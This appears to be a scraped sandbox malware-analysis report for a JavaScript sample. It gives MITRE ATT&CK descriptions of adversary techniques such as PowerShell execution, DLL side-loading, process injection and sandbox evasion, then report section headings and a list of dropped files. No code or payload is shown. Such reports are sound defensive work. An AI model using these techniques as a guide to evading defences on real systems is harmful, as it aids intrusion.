Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 26680121751816526037.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\03367989-dffc-4f00-bbc8-6e4fbfb6c863.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF64cec3.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ae5f3170-c082-4fae-badd-86be6810cfc6.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
26680121751816526037.js